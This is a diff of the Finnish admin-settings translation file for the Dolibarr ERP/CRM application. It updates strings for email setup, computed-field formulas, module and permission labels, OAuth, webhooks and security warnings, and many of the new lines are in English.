MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP / SMTPS-isäntä (ei määritelty PHP:ssa Unix-tyyppisissä järjestelmissä) MAIN_MAIL_EMAIL_FROM=Lähettäjän sähköposti automaattisia sähköposteja varten (oletusarvo php.ini: %s ) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Sähköpostiosoite, jota käytetään virheellisten sähköpostien palautusosoitteena (kentät Errors-To lähetetyissä sähköposteissa) MAIN_MAIL_AUTOCOPY_TO= Kopioi (piilokopio) kaikki lähetetyt sähköpostit osoitteeseen MAIN_DISABLE_ALL_MAILS=Poista kaikki sähköpostin lähettäminen käytöstä (testitarkoituksia tai esittelyjä varten) @@ -375,7 +375,7 @@ DoTestSendHTML=Testaa HTML:n lähettäminen ErrorCantUseRazIfNoYearInMask=Virhe, ei voi käyttää vaihtoehtoa @ laskurin nollaamiseen vuosittain, jos jaksoa {yy} tai {yyyy} ei ole maskissa. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Virhe ei voi käyttäjä vaihtoehto @ jos SEQUENCE (yy) (mm) tai (vvvv) (mm) ei mask. UMask=UMask parametri uusia tiedostoja Unix / Linux / BSD-tiedostojärjestelmää. -UMaskExplanation=Tämän parametrin avulla voit määrittää käyttöoikeudet asettaa oletuksena tiedostoja luotu Dolibarr palvelimelle (aikana ladata esimerkiksi).
      Se on oktaali-arvo (esim. 0666 tarkoittaa, lukea ja kirjoittaa kaikki).
      Ce paramtre ne Sert pas sous un serveur Windows. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Take a look at the Wiki page for a list of contributors and their organization UseACacheDelay= Viive cashing vienti vastehuippu sekuntia (0 tai tyhjä ei välimuisti) DisableLinkToHelpCenter=Hide the link "Need help or support" on the login page @@ -439,8 +439,10 @@ Unique=Uniikki Boolean=Boolean (yksi valintaruutu) ExtrafieldPhone = Puhelin ExtrafieldPrice = Hinta +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = Sähköposti ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Valitse lista ExtrafieldSelectList = Valitse taulusta ExtrafieldSeparator=Erotin (ei kenttä) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Valintaruudut ExtrafieldCheckBoxFromList=Valintaruudut taulusta ExtrafieldLink=Linkki objektiin ComputedFormula=Laskettu kenttä -ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $object.
      WARNING: Only some properties of $object may be available. If you need a properties not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Tallenna laskettu kenttä ComputedpersistentDesc=Lasketut ylimääräiset kentät tallennetaan tietokantaan, mutta arvo lasketaan uudelleen vasta, kun tämän kentän kohdetta muutetaan. Jos laskettu kenttä riippuu muista kohteista tai globaaleista tiedoista, tämä arvo saattaa olla väärä!! ExtrafieldParamHelpPassword=Jos jätät tämän kentän tyhjäksi, tämä arvo tallennetaan ilman salausta (kenttä on piilotettava vain tähdellä näytöllä).
      Aseta 'auto' käyttämään oletussalaussääntöä salasanan tallentamiseksi tietokantaan (silloin luettu arvo on vain hash, ei mitään tapaa hakea alkuperäistä arvoa) @@ -501,7 +503,8 @@ WarningPHPMail=WARNING: The setup to send emails from the application is using t WarningPHPMailA=- Using the server of the Email Service Provider increases the trustability of your email, so it increases the deliverablity without being flagged as SPAM WarningPHPMailB=- Some Email Service Providers (like Yahoo) do not allow you to send an email from another server than their own server. Your current setup uses the server of the application to send email and not the server of your email provider, so some recipients (the one compatible with the restrictive DMARC protocol), will ask your email provider if they can accept your email and some email providers (like Yahoo) may respond "no" because the server is not theirs, so few of your sent Emails may not be accepted for delivery (be careful also of your email provider's sending quota). WarningPHPMailC=- Using the SMTP server of your own Email Service Provider to send emails is also interesting so all emails sent from application will also be saved into your "Sent" directory of your mailbox. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=If your email SMTP provider need to restrict email client to some IP addresses (very rare), this is the IP address of the mail user agent (MUA) for your ERP CRM application: %s. WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Example:
      For the form to create a new third PageUrlForDefaultValuesList=
      Example:
      For the page that lists third parties, it is %s.
      For URL of external modules installed into custom directory, do not include the "custom/" so use a path like mymodule/mypagelist.php and not custom/mymodule/mypagelist.php.
      If you want default value only if url has some parameter, you can use %s AlsoDefaultValuesAreEffectiveForActionCreate=Also note that overwritting default values for form creation works only for pages that were correctly designed (so with parameter action=create or presend...) EnableDefaultValues=Ota käyttöön oletusarvojen mukauttaminen -EnableOverwriteTranslation=Salli ylikirjoitettujen käännösten käyttäminen +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=A translation has been found for the key with this code. To change this value, you must edit it from Home-Setup-translation. WarningSettingSortOrder=Warning, setting a default sort order may result in a technical error when going on the list page if field is an unknown field. If you experience such an error, come back to this page to remove the default sort order and restore default behavior. Field=Kenttä @@ -643,11 +646,13 @@ Module2300Name=Ajastetut työt Module2300Desc=Ajastettujen töiden hallinnointi (alias cron or chrono table) Module2400Name=Events/Agenda Module2400Desc=Seuraa tapahtumia. Kirjaa automaattiset tapahtumat seurantatarkoituksiin tai tallenna manuaaliset tapahtumat tai kokoukset. Tämä on tärkein asiakas- tai toimittajasuhteiden hallinnan moduuli. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Asiakirjojen hallintajärjestelmä / elektroninen sisällönhallinta. Luomiesi tai tallennettujen asiakirjojesi automaattinen järjestäminen. Jaa ne tarvittaessa. -Module2600Name=API / verkkopalvelut (SOAP-palvelin) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Ota käyttöön Dolibarr SOAP -palvelin, joka tarjoaa API-palveluita -Module2610Name=API / verkkopalvelut (REST-palvelin) +Module2610Name=API / Web services (REST server) Module2610Desc=Ota käyttöön API-palveluita tarjoava Dolibarr REST -palvelin Module2660Name=Kutsu verkkopalveluita (SOAP-asiakas) Module2660Desc=Ota käyttöön Dolibarr-verkkopalvelusovellus (voidaan käyttää tietojen / pyyntöjen siirtämiseen ulkoisille palvelimille. Vain ostotilauksia tuetaan tällä hetkellä.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind tulokset valmiuksia Module3200Name=Muuttamattomat arkistot Module3200Desc=Enable an unalterable log of business events. Events are archived in real-time. The log is a read-only table of chained events that can be exported. This module may be mandatory for some countries. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Sosiaaliset verkostot Module3400Desc=Ota sosiaalisten verkostojen kentät käyttöön kolmansille osapuolille ja osoitteille (skype, twitter, facebook, ...). Module4000Name=Henkilöstöhallinta @@ -698,7 +705,10 @@ Module62000Name=Incoterm-ehdot Module62000Desc=Add features to manage Incoterms Module63000Name=Resurssit Module63000Desc=Manage resources (printers, cars, rooms, ...) for allocating to events -Permission11=Lue laskut +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=Luo laskut Permission13=Mitätöi asiakaslaskut Permission14=Vahvistetut laskut @@ -842,9 +852,9 @@ Permission286=Vie yhteystietoja Permission291=Lue tariffit Permission292=Aseta tariffeille oikeudet Permission293=Muokkaa asiakkaan tariffeja -Permission300=Lue viivakoodit -Permission301=Luo/Muokkaa viivakoodeja -Permission302=Poista viivakoodeja +Permission301=Generate PDF sheets of barcodes +Permission304=Luo/Muokkaa viivakoodeja +Permission305=Poista viivakoodeja Permission311=Lue palvelut Permission312=Määritä palvelu / tilaus sopimukseen Permission331=Lue kirjanmerkit @@ -940,7 +950,7 @@ Permission1190=Hyväksy (toinen vaihe) ostotilaukset Permission1191=Vie toimittajan tilaukset ja niiden määritteet Permission1201=Hanki seurauksena vienti Permission1202=Luo / Muuta vienti -Permission1231=Lue toimittajien laskut +Permission1231=Read vendor invoices (and payments) Permission1232=Luo/Muokkaa toimittajien laskuja Permission1233=Vahvista myyjän laskut Permission1234=Poista toimittajien laskuja @@ -971,13 +981,14 @@ Permission3301=Luo uusia moduuleja Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Lue verkkosivuston sisältö Permission10002=Luo / muokkaa verkkosivuston sisältöä (HTML- ja Javascript-sisältö) Permission10003=Luo / muokkaa verkkosivuston sisältöä (dynaaminen php-koodi). Vaarallinen, on varattava rajoitetuille kehittäjille. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Yksikön tyyppi SetupSaved=Asetukset tallennettu SetupNotSaved=Asetuksia ei tallennettu +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Takaisin moduuliluetteloon BackToDictionaryList=Back to Dictionaries list TypeOfRevenueStamp=Veroleiman tyyppi @@ -1222,7 +1237,7 @@ SetupDescription4=%s -> %s

      This software is a suite of m SetupDescription5=Other Setup menu entries manage optional parameters. SetupDescriptionLink=%s - %s SetupDescription3b=Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Security events that are audited NoSecurityEventsAreAduited=No security events are audited. You can enable them from menu %s Audit=Security events @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Setup parameters can be set by administrator users only. SystemInfoDesc=Järjestelmän tiedot ovat erinäiset tekniset tiedot saavat lukea vain tila ja näkyvissä vain järjestelmänvalvojat. SystemAreaForAdminOnly=This area is available to administrator users only. Dolibarr user permissions cannot change this restriction. CompanyFundationDesc=Edit the information of your company/organization. Click on "%s" button at the bottom of the page when done. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=If you have an external accountant/bookkeeper, you can edit here its information. AccountantFileNumber=Accountant code DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Käynnistäjät tähän tiedostoon ovat aktiivisia < GeneratedPasswordDesc=Valitse menetelmä, jota käytetään automaattisesti luotuihin salasanoihin. DictionaryDesc=Lisää kaikki viitetiedot. Voit lisätä omia arvoja oletusarvoon. ConstDesc=This page allows you to edit (override) parameters not available in other pages. These are mostly reserved parameters for developers/advanced troubleshooting only. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=Kaikki turvallisuuteen liittyvät parametrit määritetään täällä. LimitsSetup=Rajat / Tarkkuus LimitsDesc=You can define limits, precisions and optimizations used by Dolibarr here @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Sinun on suoritettava tämä ko YourPHPDoesNotHaveSSLSupport=SSL toimintoja ei saatavilla PHP DownloadMoreSkins=Lisää nahat ladata SimpleNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset ShowProfIdInAddress=Show professional ID with addresses ShowVATIntaInAddress=Hide intra-Community VAT number @@ -1380,7 +1399,7 @@ GetBarCode=Hanki viivakoodi NumberingModules=Numerointimallit DocumentModules=Asiakirjamallit ##### Module password generation -PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters in lowercase. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Älä ehdota luotua salasanaa. Salasana on kirjoitettava manuaalisesti. PasswordGenerationPerso=Palauta salasana henkilökohtaisesti määrittämäsi kokoonpanon mukaan. SetupPerso=Kokoonpanosi mukaan @@ -1434,6 +1453,10 @@ SuppliersPayment=Toimittajien maksut SupplierPaymentSetup=Toimittajamaksujen asetukset InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Kaupalliset ehdotuksia moduulin asetukset ProposalsNumberingModules=Kaupalliset ehdotus numerointiin modules @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Vesileima sopimusluonnoksissa (ei käytössä jos ##### Members ##### MembersSetup=Jäsenet moduulin asetukset MemberMainOptions=Päävaihtoehtoa +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Hallitse Sisään jokaiselle jäsenelle AdherentMailRequired=Uuden jäsenen luomiseen vaaditaan sähköpostiosoite MemberSendInformationByMailByDefault=Checkbox lähettää vahvistusviestin jäsenille on oletusarvoisesti MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=Vierailija voi valita käytettävissä olevista maksutavoista +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Enable automatic reminder by email of expired subscriptions. Note: Module %s must be enabled and correctly setup to send reminders. MembersDocModules=Document templates for documents generated from member record ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Ota FCKeditor varten: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG creation/edition of products details lines for all entities (proposals, orders, invoices, etc...). Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= WYSIWIG luominen / painos postitusten FCKeditorForUserSignature=WYSIWIG creation/edition of user signature FCKeditorForMail=WYSIWIG creation/edition for all mail (except Tools->eMailing) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Valikko huolitsijan missä osoittavat uuden valikon DetailMenuModule=Moduulin nimi, jos Valikosta kotoisin moduuli DetailType=Tyyppi-valikosta (ylä-tai vasemmalla) DetailTitre=Valikko etiketti tai etiketti koodin käännös -DetailUrl=URL-osoite, jossa valikkopalkki lähettää sinulle (Absoluuttinen URL-linkki tai ulkoinen yhteys http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Ehto näyttää tai tulon DetailRight=Ehto näyttö luvattoman harmaa valikot DetailLangs=Lang tiedoston nimen etiketti koodin käännös @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Use events types (managed in menu Setup -> Dictionaries -> AGENDA_USE_EVENT_TYPE_DEFAULT=Aseta tämä oletusarvo automaattisesti tapahtuman tyypille tapahtuman luontilomakkeessa AGENDA_DEFAULT_FILTER_TYPE=Automatically set this type of event in search filter of agenda view AGENDA_DEFAULT_FILTER_STATUS=Automatically set this status for events in search filter of agenda view +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Which view do you want to open by default when selecting menu Agenda AGENDA_REMINDER_BROWSER=Enable event reminder on user's browser (When remind date is reached, a popup is shown by the browser. Each user can disable such notifications from its browser notification setup). AGENDA_REMINDER_BROWSER_SOUND=Ota käyttöön ilmoitusäänet @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Stock decrease in POS is not compatib CashDeskYouDidNotDisableStockDecease=You did not disable stock decrease when making a sale from Point of Sale. Hence a warehouse is required. CashDeskForceDecreaseStockLabel=Stock decrease for batch products was forced. CashDeskForceDecreaseStockDesc=Decrease first by the oldest eatby and sellby dates. -CashDeskReaderKeyCodeForEnter=Key code for "Enter" defined in barcode reader (Example: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup='Kirjanmerkit'-moduulin asetukset BookmarkDesc=This module allows you to manage bookmarks. You can also add shortcuts to any Dolibarr pages or external web sites on your left menu. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Toimittajan laskujen numerointimallit IfSetToYesDontForgetPermission=If set to a non null value, don't forget to provide permissions to groups or users allowed for the second approval ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind moduuli setup -PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation.
      Examples:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Huomaa, että IP-maahan tiedosto on sisällä hakemiston PHP voi lukea (Tarkista PHP open_basedir asetukset ja tiedostojärjestelmän oikeudet). YouCanDownloadFreeDatFileTo=Voit ladata ilmaisen demoversion Maxmind GeoIP maa-tiedoston %s. YouCanDownloadAdvancedDatFileTo=Voit myös ladata pidempään versioon, niiden päivitykset ja Maxmind GeoIP maa-tiedoston %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Ohjattu toiminto tietokannan dump-tiedoston rakentamiseen BackupZipWizard=Ohjattu toiminto asiakirjojen arkiston rakentamiseen SomethingMakeInstallFromWebNotPossible=Ulkoisen moduulin asennus ei ole mahdollista verkkoliitännästä seuraavasta syystä: SomethingMakeInstallFromWebNotPossible2=Tästä syystä tässä kuvattu päivitysprosessi on manuaalinen prosessi, jonka vain etuoikeutettu käyttäjä voi suorittaa. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Järjestelmänvalvoja on poistanut ulkoisen moduulin asennuksen sovelluksesta. Sinun on pyydettävä häntä poistamaan tiedosto %s tämän ominaisuuden sallimiseksi. ConfFileMustContainCustom=Installing or building an external module from application need to save the module files into directory %s. To have this directory processed by Dolibarr, you must setup your conf/conf.php to add the 2 directive lines:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Korosta taulukon rivit hiiren liikkuessa niiden päällä @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Poista erikoismerkit COMPANY_AQUARIUM_CLEAN_REGEX=Regex filter to clean value (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex filter to clean value (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Kopiota ei sallita +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Tietosuojavastaava (tietosuojavastaava, tietosuoja- tai GDPR-yhteyshenkilö) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Ohjeteksti näytettäväksi työkaluvihjeessä @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Postilaatikon kohdehakemisto EmailcollectorOperations=Keräilijän tehtävät toiminnot EmailcollectorOperationsDesc=Toiminnot suoritetaan ylhäältä alas järjestyksessä MaxEmailCollectPerCollect=Kerätyn sähköpostin enimmäismäärä keräystä kohti +TestCollectNow=Test collect CollectNow=Kerää nyt ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Viimeisimmän keräysyrityksen päivämäärä @@ -2109,6 +2140,7 @@ CodeLastResult=Viimeisin tuloskoodi NbOfEmailsInInbox=Lähdehakemistossa olevien sähköpostien määrä LoadThirdPartyFromName=Lataa kolmannen osapuolen haku sivustolta %s (vain lataus) LoadThirdPartyFromNameOrCreate=Lataa kolmannen osapuolen haku sivustolta %s (luo, jos sitä ei löydy) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Viesti keskustelusta, jonka aloitti ensimmäinen sähköposti, lähetetty Dolibarrista WithoutDolTrackingID=Viesti keskustelusta, jonka aloitti ensimmäinen sähköposti, EI lähetetty Dolibarrista @@ -2183,6 +2215,7 @@ ShowProjectLabel=Project Label PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=If you want to have some texts in your PDF duplicated in 2 different languages in the same generated PDF, you must set here this second language so generated PDF will contains 2 different languages in same page, the one chosen when generating PDF and this one (only few PDF templates support this). Keep empty for 1 language per PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Enter here the code of a FontAwesome icon. If you don't know what is FontAwesome, you can use the generic value fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=Partnership AGENDA_EVENT_DEFAULT_STATUS=Default event status when creating a event from the form YouShouldDisablePHPFunctions=You should disable PHP functions IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=No writable files or directories of the common programs were found into your root directory (Good) RecommendedValueIs=Recommended: %s Recommended=Suositeltava NotRecommended=Not recommended -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Check for external modules updates CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. ModuleUpdateAvailable=An update is available @@ -2264,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Inventory Setup ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Asetukset WebhookSetupPage = Webhook setup page @@ -2288,6 +2321,8 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one DarkThemeMode=Dark theme mode @@ -2307,3 +2342,37 @@ UsePassword=Use a password UseOauth=Use a OAUTH token Images=Images MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it 